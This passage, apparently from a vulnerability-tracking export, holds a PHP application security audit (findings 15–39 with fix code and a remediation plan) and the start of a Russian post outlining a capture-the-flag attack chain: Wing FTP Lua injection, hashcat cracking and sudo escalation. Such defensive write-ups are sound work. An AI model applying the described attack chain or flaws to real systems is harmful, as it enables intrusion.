`sha1($password)`. SHA-1 is not designed for password storage, has no salt, and is trivially reversible via GPU cracking or rainbow tables.\n* **Impact:** Database disclosure immediately yields all user passwords.\n* **Remediation:** Replace with `password_hash()` / `password_verify()`. The `/register` route in the new API stack already does this correctly \u2014 back-port it to the legacy endpoints.\n* **Code Fix Example:**\n```php\n// Store:\n$postArr['password'] = password_hash($password, PASSWORD_BCRYPT);\n\n// Verify:\nif (password_verify($password, $isLogin1['password'])) { /* success */ }\n```\n\n---\n\n## [15] Insecure File Upload \u2014 No Server-Side MIME or Extension Validation\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-434, OWASP A04:2021 \u2013 Insecure Design\n* **Location:** `common/book_ajax_admin_local.php` at lines `9\u201323`; `common/addAudioVideo.php`; `common/book_ajax.php`; `common/update_book_ajax.php`; `common/edit_audio_video_ajax.php`\n* **Description:** File uploads are handled with no server-side validation. Only client-side JavaScript extension checks exist, which are trivially bypassed. Files are moved to public `uploads/` directories using the original client-supplied extension.\n* **Impact:** An attacker can upload a PHP webshell to the publicly accessible upload directory and achieve Remote Code Execution.\n* **Remediation:** Validate MIME type server-side with `finfo`. Use an extension allowlist. Store files outside the web root. Generate random server-side filenames. Deny PHP execution in upload directories via `.htaccess`.\n* **Code Fix Example:**\n```php\n$allowed = ['application/pdf' => 'pdf', 'image/jpeg' => 'jpg', 'image/png' => 'png'];\n$finfo   = finfo_open(FILEINFO_MIME_TYPE);\n$mime    = finfo_file($finfo, $_FILES['book_img']['tmp_name']);\nfinfo_close($finfo);\n\nif (!array_key_exists($mime, $allowed)) {\n    echo json_encode(['id' => -3, 'message' => 'Invalid file type.']);\n    exit;\n}\n$safe_name = bin2hex(random_bytes(16)) . '.' . $allowed[$mime];\nmove_uploaded_file($_FILES['book_img']['tmp_name'], '/var/uploads/books/' . $safe_name);\n```\n\n---\n\n## [16] JWT Token Expires in 10 Seconds \u2014 Effectively Broken Authentication\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-613, OWASP A07:2021 \u2013 Identification and Authentication Failures\n* **Location:** `web_services/new/src/libs/auth.php` at line `29`\n* **Description:** Token expiry is computed as `now + 10 seconds` using a `mktime()` call that adds 10 to the seconds component, making every issued token expire almost immediately. The manual `verifyToken()` re-implements expiry checking instead of relying on the library's built-in claim validation, introducing further edge-case errors.\n* **Impact:** Legitimate users cannot stay authenticated. The broken check may also cause intermittent bypasses under clock drift.\n* **Remediation:** Use a Unix timestamp `exp` claim with a proper TTL (2\u201324 hours) and delegate expiry enforcement to the JWT library.\n* **Code Fix Example:**\n```php\npublic static function getToken(int $id, string $user): string\n{\n    $payload = [\n        'iat'  => time(),\n        'exp'  => time() + (int)(getenv('JWT_TTL_SECONDS') ?: 7200),\n        'id'   => $id,\n        'user' => $user,\n    ];\n    return JWT::encode($payload, SECRET, 'HS256');\n}\n\npublic static function verifyToken(string $token): bool\n{\n    try {\n        JWT::decode($token, SECRET, ['HS256']); // library enforces exp automatically\n        return true;\n    } catch (\\Exception $e) {\n        return false;\n    }\n}\n```\n\n---\n\n## [17] Full User Object Returned on Login \u2014 Sensitive Data Exposure\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-200, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `web_services/new/src/routes/api.php` at line `375`\n* **Description:** The login handler returns the entire database row: `$data['data'] = $query`. This exposes the password hash, `resetCode`, `confirmCode`, `remember_token`, `socialId`, and all internal fields to the client in the JSON response.\n* **Impact:** Reset codes in the response allow account takeover without email access. Password hashes can be cracked offline.\n* **Remediation:** Return only the fields the client legitimately needs.\n* **Code Fix Example:**\n```php\n$data['data'] = [\n    'id'        => $query->id,\n    'firstname' => $query->firstname,\n    'lastname'  => $query->lastname,\n    'email'     => $query->email,\n    'token'     => $query->token,\n];\n```\n\n---\n\n## [18] Missing `exit()` After Session Redirect \u2014 Full Auth Bypass\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-284, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `admin/auth_panel/av_header.php` at lines `3\u201310`; `admin/auth_panel/av_header_test.php`\n* **Description:** The session guard emits a JavaScript `window.location` redirect when the session is absent but does not call `exit()`. PHP continues executing the rest of the page. Any HTTP client that does not run JavaScript (curl, Burp Suite, Python requests) receives the full authenticated admin page.\n```php\n} else {\n    echo 'window.location=\"/admin\";';\n    // execution continues \u2014 entire admin panel rendered below\n}\n```\n* **Impact:** The entire admin panel is accessible without authentication to any non-browser client.\n* **Remediation:** Replace the JavaScript redirect with `header()` + `exit`.\n* **Code Fix Example:**\n```php\nif (empty($_SESSION['admin_id'])) {\n    header('Location: ' . ADMIN_URL . 'admin/');\n    exit;\n}\n```\n\n---\n\n## [19] IDOR \u2014 Book Purchase Accepts Arbitrary `user_id` from Client\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-639, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `web_services/book_purchase.php` at lines `4\u20139`\n* **Description:** `purchase_user_id` is accepted directly from `$_REQUEST` with no authentication or ownership check. An attacker can credit a purchase to any user's account. Both `$book_id` and `$purchase_user_id` are also injected directly into the SQL query.\n* **Impact:** Free content for any user; arbitrary library manipulation; SQL injection.\n* **Remediation:** Derive `purchase_user_id` exclusively from the authenticated server-side session. Never accept it from the client.\n* **Code Fix Example:**\n```php\nsession_start();\nif (empty($_SESSION['user_id'])) {\n    echo json_encode(['response' => ['id' => -4, 'message' => 'Unauthorized']]);\n    exit;\n}\n$purchase_user_id = (int) $_SESSION['user_id'];\n$book_id          = (int) ($_POST['book_id'] ?? 0);\n```\n\n---\n\n## [20] Broken API Authorization \u2014 JWT Token Does Not Prove User Ownership\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-639, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `web_services/new/src/routes/api.php` \u2014 `/getAudioVideo`, `/getAudioVideoClone`, and other user-scoped routes\n* **Description:** Several API routes accept `user_id` as a request parameter and query data for that ID after only checking that a valid auth token exists in the database \u2014 not that the token belongs to the user represented by `user_id`. A valid token issued to user A can be submitted alongside `user_id=B` to access user B's data.\n```php\n// token is validated against DB, but user_id comes from request param unchecked\n$user_id = $request->getParam('user_id');\n$sql = \"SELECT email FROM appUsers WHERE id='\" . $user_id . \"'\";\n```\n* **Impact:** Any authenticated user can access or manipulate any other user's library, purchases, or profile data.\n* **Remediation:** Extract the user ID from the verified JWT payload, never from request parameters.\n* **Code Fix Example:**\n```php\n// Decode token and pull user ID from it \u2014 not from the request\n$decoded = JWT::decode($authToken, SECRET, ['HS256']);\n$user_id = (int) $decoded->id; // authoritative, not client-controlled\n```\n\n---\n\n## [21] Social Login Trusts Request-Supplied Identity Without Provider Verification\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-287, OWASP A07:2021 \u2013 Identification and Authentication Failures\n* **Location:** `web_services/social_login.php`; corresponding route in `web_services/new/src/routes/api.php`\n* **Description:** The social login endpoint accepts `socialId`, `email`, `firstname`, and `lastname` directly from the POST body and creates or updates accounts based on those values. No OAuth access token from Google, Facebook, or Apple is validated against the provider's API. An attacker can submit any `socialId` and `email` to log in as or create any account.\n* **Impact:** Complete identity impersonation. An attacker can log in as any existing social-linked account by crafting a POST request with the target's `socialId` or email.\n* **Remediation:** Require a provider-issued OAuth access token or ID token. Validate it server-side against the provider's token verification endpoint before trusting any user identity fields.\n* **Code Fix Example:**\n```php\n// Google example \u2014 validate ID token server-side:\n$id_token = $_POST['google_id_token'];\n$response = file_get_contents(\n    'https://oauth2.googleapis.com/tokeninfo?id_token=' . urlencode($id_token)\n);\n$payload = json_decode($response, true);\nif (!$payload || $payload['aud'] !== getenv('GOOGLE_CLIENT_ID')) {\n    http_response_code(401); exit('Invalid token');\n}\n$email    = $payload['email'];\n$socialId = $payload['sub'];\n```\n\n---\n\n## [22] Missing Authentication on `common/*.php` AJAX Endpoints\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-306, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `common/addAudioVideo.php`, `common/book_ajax.php`, `common/assignBooksToUser.php`, `common/delete_ajax.php`, `common/deactivate_book_ajax.php`, `common/approve_books_ajax.php`, `common/update_books_ajax.php`, and others\n* **Description:** These AJAX backend handlers perform high-privilege state-changing operations (book approval, deletion, deactivation, assignment to users, audio/video upload, and user modification) but many call only `session_start()` with no subsequent role or session validity check. An unauthenticated or low-privilege HTTP client can call these endpoints directly.\n* **Impact:** Unauthenticated attackers can approve, deactivate, delete, or modify content and user records without going through the admin UI. Combined with the SQL injection in these files, the impact is total data compromise.\n* **Remediation:** Add a shared authorization guard \u2014 a single include or function \u2014 that validates the session and admin role before any processing. Return HTTP 401/403 and exit on failure.\n* **Code Fix Example:**\n```php\n// common/auth_guard.php\nfunction require_admin_session(): void {\n    session_start();\n    if (empty($_SESSION['admin_id'])) {\n        http_response_code(401);\n        echo json_encode(['error' => 'Unauthorized']);\n        exit;\n    }\n}\n\n// Top of every common/*.php handler:\nrequire_once __DIR__ . '/auth_guard.php';\nrequire_admin_session();\n```\n\n---\n\n## [23] `phpinfo()` Pages Publicly Exposed\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-200, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** `demo.php`; `web_services/info.php`; `common/phpinfo.php`\n* **Description:** Multiple files call `phpinfo()` and are web-accessible. `phpinfo()` outputs the complete server configuration including PHP version, loaded extensions, environment variables, loaded config file paths, and all `$_SERVER` values \u2014 providing an attacker a detailed fingerprint of the server environment.\n* **Impact:** Accelerates exploitation by revealing PHP version, enabled modules, file paths, and environment variable names (which may expose secret names or values).\n* **Remediation:** Delete all `phpinfo()` files from the codebase. If needed for diagnostics, restrict them by IP or remove entirely from production.\n* **Code Fix Example:**\n```bash\nrm demo.php web_services/info.php common/phpinfo.php\n```\n\n---\n\n## [24] Admin Session ID Echoed in HTML Response\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-200, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `admin/dashboard.php`\n* **Description:** The admin dashboard echoes the PHP session ID directly into the HTML page body. Session IDs appearing in HTML can be captured from server logs, browser history, referrer headers, or network proxies.\n* **Impact:** Session ID disclosure enables session hijacking \u2014 an attacker who obtains the value can authenticate as the admin without credentials.\n* **Remediation:** Remove all `echo session_id()` or equivalent output from production pages.\n* **Code Fix Example:**\n```php\n// REMOVE this line from dashboard.php:\n// echo session_id();\n```\n\n---\n\n## [25] TLS Verification Disabled in cURL Notification Scripts\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-295, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `common/notification_abhinew.php`; `common/notification_abhi.php`; `common/notification_abhi3.php`; `common/notification_abhi4.php`; `common/notification_cron_test.php`\n* **Description:** Push notification scripts disable TLS certificate validation:\n```php\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n```\nAll outbound HTTP requests to Firebase and APNs are made without validating the server's certificate.\n* **Impact:** A network-level attacker (MITM) can intercept push notification payloads, inject malicious notification content, or capture the FCM server key transmitted in request headers.\n* **Remediation:** Enable TLS verification. Ensure the server's CA certificate bundle is up to date.\n* **Code Fix Example:**\n```php\n// Remove or replace:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); // verify hostname\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // verify certificate\ncurl_setopt($ch, CURLOPT_CAINFO, '/etc/ssl/certs/ca-certificates.crt');\n```\n\n---\n\n## [26] Docker: Database and phpMyAdmin Ports Exposed; EOL PHP Runtime\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-16, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** `docker-compose.yml`; `docker/apache.conf`; `docker/php.ini`\n* **Description:**\n  * MySQL is exposed on host port `3306`, making the database reachable from the network without going through the application.\n  * phpMyAdmin is exposed on host port `8082` with no additional authentication.\n  * Credentials in the compose file and init scripts are hardcoded and committed to the repository.\n  * The admin container uses PHP 5.6 and the API container uses PHP 7.4, both of which are end-of-life and receive no security patches.\n  * `docker/php.ini` enables `display_errors`.\n* **Impact:** Direct database access from the network; trivial phpMyAdmin brute-force; exploitation of unpatched PHP CVEs going back years.\n* **Remediation:** Do not expose database or phpMyAdmin ports to the host by default. Move passwords to `.env` files excluded from Git. Upgrade to a supported PHP version (PHP 8.2+). Disable `display_errors` in production.\n* **Code Fix Example:**\n```yaml\n# docker-compose.yml \u2014 remove host port exposure:\nservices:\n  db:\n    # ports:\n    #  - \"3306:3306\"   # remove this line\n  phpmyadmin:\n    # ports:\n    #  - \"8082:80\"     # remove or restrict to 127.0.0.1\n```\n\n---\n\n## [27] Apache `Options Indexes` Enabled \u2014 Directory Listing Active\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-548, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** `docker/apache.conf`\n* **Description:** The Apache configuration enables `Options Indexes FollowSymLinks`, allowing directory listing across the served document root. The repository root is mounted directly as the Apache document root, meaning any directory without an `index.php` exposes a full file listing \u2014 including `common/`, `uploads/`, `web_services/`, `vendor/`, and any committed config, cert, or dump files.\n* **Impact:** An attacker can enumerate all files, discover config files, certificates, backup files, and SQL dumps, and directly request any of them.\n* **Remediation:** Disable directory listing. Serve only a dedicated `public/` directory. Deny access to all sensitive paths via `.htaccess` or virtual host config.\n* **Code Fix Example:**\n```apache\n\n    Options -Indexes -FollowSymLinks\n    AllowOverride None\n    Require all granted\n\n\n# Deny access to sensitive paths:\n\n    Require all denied\n\n```\n\n---\n\n## [28] Session Fixation \u2014 No `session_regenerate_id()` After Login\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-384, OWASP A07:2021 \u2013 Identification and Authentication Failures\n* **Location:** All admin and author login handlers\n* **Description:** After a successful login, none of the authentication flows call `session_regenerate_id(true)`. The pre-login session ID is reused for the authenticated session. An attacker who can plant a known session ID on a victim's browser (e.g., via XSS or a shared network) can wait for the victim to log in and then use that ID to take over the authenticated session.\n* **Impact:** Session fixation \u2014 attacker-controlled session ID escalates to authenticated admin session.\n* **Remediation:** Call `session_regenerate_id(true)` immediately after setting session variables on successful login.\n* **Code Fix Example:**\n```php\n// After credential verification succeeds:\nsession_regenerate_id(true); // invalidates old session ID\n$_SESSION['admin_id'] = $admin['id'];\n$_SESSION['admin_role'] = $admin['role'];\n```\n\n---\n\n## Medium Findings\n\n---\n\n## [29] No CSRF Protection on State-Changing Admin Forms\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-352, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `admin/auth_panel/change_password.php`; all admin panel forms throughout `admin/auth_panel/`\n* **Description:** Admin panel forms submit state-changing actions with no CSRF token, allowing a malicious website to silently trigger admin actions on behalf of a logged-in administrator.\n* **Impact:** Admin password reset, content manipulation, and user modification via cross-site request forgery.\n* **Remediation:** Generate a per-session CSRF token stored in `$_SESSION`, embed it in every form, validate it on every POST.\n* **Code Fix Example:**\n```php\n// Generate:\nif (empty($_SESSION['csrf_token'])) {\n    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));\n}\n// Embed in form:\necho '';\n// Validate on POST:\nif (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {\n    http_response_code(403); exit('CSRF validation failed');\n}\n```\n\n---\n\n## [30] Database Error Messages Exposed to HTTP Response\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-209, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** `connection.php` at line `9`; `web_services/new/src/libs/connection.php` at line `40`\n* **Description:** Connection failures print raw error details to the HTTP response: `die(\"Unable to connect to MySQL: \" . mysqli_error($dbc))` and `die($e)` (full PDO stack trace).\n* **Impact:** Database hostname, error codes, and stack traces exposed in HTTP responses aid attacker reconnaissance.\n* **Remediation:** Log errors server-side; return a generic HTTP 500 to the client.\n* **Code Fix Example:**\n```php\nif (!$dbc) {\n    error_log(\"DB connection failed: \" . mysqli_connect_error());\n    http_response_code(500);\n    exit('Internal server error');\n}\n```\n\n---\n\n## [31] SMTP Debug Mode Enabled in Production\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-532, OWASP A09:2021 \u2013 Security Logging and Monitoring Failures\n* **Location:** `function.php` at lines `571`, `601`; `web_services/function.php`; `web_services/new/src/libs/auth.php` at line `121`\n* **Description:** `$mail->SMTPDebug = 2` in production functions dumps the full SMTP handshake \u2014 including the `AUTH LOGIN` exchange \u2014 into the HTTP response buffer, leaking SMTP credentials to API callers.\n* **Impact:** SMTP username and password visible in API responses.\n* **Remediation:** `$mail->SMTPDebug = 0` in all production code.\n* **Code Fix Example:**\n```php\n$mail->SMTPDebug = 0; // never expose SMTP dialogue to clients\n```\n\n---\n\n## [32] Predictable Password Reset Token \u2014 `uniqid()` Is Not Cryptographically Random\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-330, OWASP A07:2021 \u2013 Identification and Authentication Failures\n* **Location:** `web_services/register.php` at line `24`; `web_services/forgetpassword.php` at line `12`; `web_services/new/src/routes/api.php` at lines `217`, `479`\n* **Description:** `uniqid()` generates values based on the current timestamp with microsecond precision. An attacker who knows approximately when a reset was triggered can enumerate the small window of possible values. `\"res\" . time()` is equally weak.\n* **Impact:** Account takeover by brute-forcing the password reset token.\n* **Remediation:** Use `bin2hex(random_bytes(32))`. Store a hash of the token in the database. Enforce short expiry and one-time use.\n* **Code Fix Example:**\n```php\n$token        = bin2hex(random_bytes(32)); // send this in the email link\n$token_hash   = hash('sha256', $token);    // store this in the DB\n// On redemption: hash($_GET['rcode']) === DB value, and expiry not exceeded\n```\n\n---\n\n## [33] Stored XSS \u2014 Unescaped User Data in Admin Panel\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-79, OWASP A03:2021 \u2013 Injection\n* **Location:** `admin/auth_panel/av_header.php` at line `15`; `admin/auth_panel/av_header_test.php` at line `18`\n* **Description:** The administrator's display name is echoed directly into HTML with no output encoding: `echo $admin_data['name']`. Database values from book titles, descriptions, and filenames are echoed without encoding in `authors_admin/view_books.php` and related views.\n* **Impact:** Stored XSS \u2014 admin session cookie theft, account takeover.\n* **Remediation:** Use `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` on every value echoed into HTML.\n* **Code Fix Example:**\n```php\n// BEFORE:\necho $admin_data['name'];\n\n// AFTER:\necho htmlspecialchars($admin_data['name'], ENT_QUOTES, 'UTF-8');\n```\n\n---\n\n## [34] Reflected XSS \u2014 Raw `$_GET` / `$_REQUEST` Output in HTML\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-79, OWASP A03:2021 \u2013 Injection\n* **Location:**\n  * `authors_admin/view_paymentsTest.php` \u2014 `echo isset($_GET['startDate']) ? $_GET['startDate'] : ''` directly into an HTML attribute value\n  * `admin/auth_panel/boobk_by_aut.php` \u2014 `echo $_REQUEST[\"id\"]` directly into the page\n* **Description:** Request parameters are reflected directly into the HTML response without sanitization. An attacker can craft a URL containing a JavaScript payload that executes in the victim's browser when they click the link.\n* **Impact:** Reflected XSS \u2014 session cookie theft, credential phishing, in-browser actions on behalf of admin or author users.\n* **Remediation:** Escape all `$_GET`, `$_POST`, and `$_REQUEST` values with `htmlspecialchars()` before echoing into HTML. For numeric IDs, cast to `(int)` first.\n* **Code Fix Example:**\n```php\n// BEFORE:\necho $_REQUEST[\"id\"];\nvalue=\"\"\n\n// AFTER:\necho (int) $_REQUEST[\"id\"]; // for numeric IDs\nvalue=\"\"\n```\n\n---\n\n## [35] JWT Middleware `\"secure\" => false` \u2014 Tokens Transmitted over HTTP\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-319, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `web_services/new/src/routes/api.php` at line `20`\n* **Description:** The JWT middleware is configured with `\"secure\" => false`, which disables its requirement for HTTPS. Tokens can be transmitted and accepted over plain HTTP, making them interceptable by any on-path observer.\n* **Impact:** JWT token theft via network interception, enabling session hijacking.\n* **Remediation:** Set `\"secure\" => true` in all non-local environments. Enforce HTTPS at the load balancer or Apache level.\n* **Code Fix Example:**\n```php\n$app->add(new \\Slim\\Middleware\\JwtAuthentication([\n    \"secret\" => SECRET,\n    \"secure\" => (getenv('APP_ENV') !== 'local'), // true in all non-local environments\n    // ...\n]));\n```\n\n---\n\n## [36] Missing HTTP Security Headers\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-16, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** Application-wide; no consistent header policy found in Apache config or PHP\n* **Description:** None of the following security headers are set: `Content-Security-Policy`, `X-Frame-Options` / `frame-ancestors`, `X-Content-Type-Options`, `Referrer-Policy`, or `Strict-Transport-Security`. Their absence makes XSS exploitation easier, enables clickjacking, and permits MIME-type sniffing attacks.\n* **Impact:** Exacerbates the impact of all XSS findings. Enables clickjacking against admin and user-facing pages.\n* **Remediation:** Add headers via Apache `Header` directives or a PHP middleware function called on every response.\n* **Code Fix Example:**\n```apache\n# In Apache VirtualHost or .htaccess:\nHeader always set X-Content-Type-Options \"nosniff\"\nHeader always set X-Frame-Options \"DENY\"\nHeader always set Referrer-Policy \"strict-origin-when-cross-origin\"\nHeader always set Strict-Transport-Security \"max-age=63072000; includeSubDomains\"\nHeader always set Content-Security-Policy \"default-src 'self'; script-src 'self'; object-src 'none';\"\n```\n\n---\n\n## [37] Database Dumps and Sensitive Artifacts Committed to Repository\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-312, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:** `docker/db-init/ebookapp.sql`; `docker/db-init/missing_tables.sql`; `panel/images/5587Emailer.zip`; `uploads/` directory\n* **Description:** SQL dump files containing schema and potentially real user data are committed to the repository. The `uploads/` directory with user-generated content is also tracked. Committed dumps may contain test accounts, personal data, or internal schema details that aid SQL injection exploitation.\n* **Impact:** Personal data exposure, GDPR/compliance liability, schema disclosure that aids further attacks.\n* **Remediation:** Remove dumps and user uploads from the repository. Add `.gitignore` rules for `*.sql`, `uploads/`, `*.log`, `*.pem`, `*.p12`, `error_log`. Use sanitized fixture files for development.\n* **Code Fix Example:**\n```gitignore\n# .gitignore additions:\n*.sql\n*.pem\n*.p12\nuploads/\nerror_log\n**/error_log\n*.log\n.env\ndocker/db-init/*.sql\n```\n\n---\n\n## [38] Outdated Dependencies \u2014 Slim 3, PHPMailer Copies, Frontend Libraries\n\n* **Severity:** Medium\n* **CWE/OWASP Reference:** CWE-1104, OWASP A06:2021 \u2013 Vulnerable and Outdated Components\n* **Location:** `web_services/new/composer.json`; multiple committed `class.phpmailer.php` copies; `assets/js/` and `authors_admin/assets/`\n* **Description:** The Slim API uses Slim 3.x (EOL), `tuupola/slim-jwt-auth` 2.4.x, and the vulnerable `firebase/php-jwt` 5.0.0. Multiple separate copies of an old PHPMailer version are committed to the repository rather than managed via Composer. Vendored frontend libraries include old jQuery, jQuery UI, Bootstrap 3, CKEditor 4, Morris.js, and jQuery File Upload \u2014 all of which have known CVEs.\n* **Impact:** Known public vulnerabilities in PHP and JavaScript libraries leading to XSS, file upload abuse, prototype pollution, and browser-side compromise.\n* **Remediation:** Manage all dependencies through Composer and npm with lockfiles. Remove committed vendor copies. Upgrade to supported major versions. Run `composer audit` and `npm audit` in CI.\n* **Code Fix Example:**\n```bash\n# Replace vendored PHPMailer copies:\ncomposer require phpmailer/phpmailer:^6.0\n\n# Upgrade Slim and JWT:\ncomposer require slim/slim:^4.0\ncomposer require firebase/php-jwt:^6.0\n```\n\n---\n\n## Low Findings\n\n---\n\n## [39] `md5()` Used in Security-Sensitive Context\n\n* **Severity:** Low\n* **CWE/OWASP Reference:** CWE-327, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `class.phpmailer.php`; any location using `md5(uniqid())` for token generation\n* **Description:** MD5 is cryptographically broken \u2014 vulnerable to collision attacks and trivially reversible for short inputs. Its use for generating unique IDs or security tokens (even non-password contexts) produces values that are predictable and collision-prone.\n* **Impact:** If MD5 is used to generate any token, nonce, or identifier that is relied upon for security, those values can be forged or predicted.\n* **Remediation:** Replace all security-sensitive uses of `md5()` with `bin2hex(random_bytes(16))` for random IDs and `hash('sha256', $value)` when a deterministic digest is needed.\n* **Code Fix Example:**\n```php\n// BEFORE:\n$unique_id = md5(uniqid());\n\n// AFTER:\n$unique_id = bin2hex(random_bytes(16));\n```\n\n---\n\n## Immediate Containment Plan\n\nExecute these steps before any further production deployment:\n\n1. **Rotate all credentials** \u2014 database password, SMTP passwords, AWS SES key, SendGrid API key, Firebase server key, JWT secret. Revoke and regenerate Apple push certificates.\n2. **Block the `deleteUser` endpoint** \u2014 remove it from the JWT passthrough list or take the API offline until patched.\n3. **Remove or firewall `phpinfo()` pages** \u2014 `demo.php`, `web_services/info.php`, `common/phpinfo.php`.\n4. **Disable `display_errors`** \u2014 in all PHP configs and Docker images.\n5. **Disable directory listing** \u2014 set `Options -Indexes` in Apache config.\n6. **Patch `firebase/php-jwt`** \u2014 upgrade from 5.0.0 to 6.x immediately.\n7. **Take down Docker-exposed ports** \u2014 remove host-side `3306` and `8082` bindings.\n8. **Delete or restrict upload execution** \u2014 add an `.htaccess` `php_flag engine off` in all upload directories.\n\n---\n\n## Recommended Remediation Phases\n\n### Phase 1 \u2014 Stop Active Exploitation (Week 1)\n- Rotate and purge all committed secrets from history.\n- Patch or disable the unauthenticated deleteUser endpoint.\n- Remove phpinfo files and disable debug display.\n- Lock down Apache config: remove `Indexes`, restrict document root to `public/`.\n- Deny PHP execution in upload directories.\n- Upgrade `firebase/php-jwt` to 6.x.\n\n### Phase 2 \u2014 Fix Authentication and Identity (Week 2\u20133)\n- Migrate all passwords to `password_hash()`. Force reset for all users.\n- Fix `reset.php` to hash the new password before storage.\n- Add `session_regenerate_id(true)` after every successful login.\n- Secure session cookies: `HttpOnly`, `Secure`, `SameSite=Lax`.\n- Remove `extract()` on superglobals everywhere.\n- Validate social login tokens server-side against provider APIs.\n\n### Phase 3 \u2014 Eliminate Injection and Upload Risks (Week 3\u20135)\n- Replace all `mysql_*` calls with PDO prepared statements across the entire codebase.\n- Rewrite `insert_entry()` and `update_entry()` helpers to use bound parameters.\n- Add server-side MIME validation, random filename generation, and out-of-webroot storage for all file uploads.\n- Replace `unlink($_POST['...'])` with DB-driven file path resolution.\n\n### Phase 4 \u2014 Harden Infrastructure and Dependencies (Week 5\u20138)\n- Upgrade PHP runtime to 8.2+ in all containers.\n- Move all dependencies to Composer/npm with lockfiles. Remove committed vendor copies.\n- Add `composer audit` and `npm audit` to CI pipeline.\n- Add HTTP security headers: CSP, HSTS, X-Frame-Options, X-Content-Type-Options.\n- Add secret scanning (gitleaks or trufflehog) to the pre-commit hook and CI.\n\n---\n\n*End of Report*\n", "creation_timestamp": "2026-05-12T12:19:28.000000Z"}, {"uuid": "0cffa97b-7f23-4be6-8324-25cee77f524d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://t.me/bagl3y_notes/280", "content": "\ud83d\udfe2 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \ud83d\udc9a \u0442\u0430\u0447\u043a\u0438 \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f   \u0410\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u043b\u043e\u0433\u0438\u043d (\u044e\u0437\u0435\u0440 anonymous \u0441 \u043f\u0443\u0441\u0442\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c) \u043d\u0430 Wing FTP Server v7.4.3 \u27a1\ufe0f\u0438\u0449\u0435\u043c \"Wingftp v7.4.3 exploit\", \u043d\u0430\u0445\u043e\u0434\u0438\u043c CVE-2025-47812 (null-byte injection \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f Lua-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b) \u27a1\ufe0f  \u0432 /opt/wftpserver/Data \u043d\u0430\u0445\u043e\u0434\u0438\u043c XML-\u0444\u0430\u0439\u043b\u044b \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432 \u0441 salted SHA256-\u0445\u0435\u0448\u0430\u043c\u0438 (SHA256(pass + \"WingFTP\")), \u0431\u0440\u0443\u0442\u0438\u043c \u0447\u0435\u0440\u0435\u0437 hashcat mode 1410 - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f wacky  \u27a1\ufe0f \u0447\u0435\u0440\u0435\u0437 su / SSH \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0430\u043a wacky, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c sudo -l - \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u0430\u043a root \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u043a\u0440\u0438\u043f\u0442 restore_backup_clients.py, 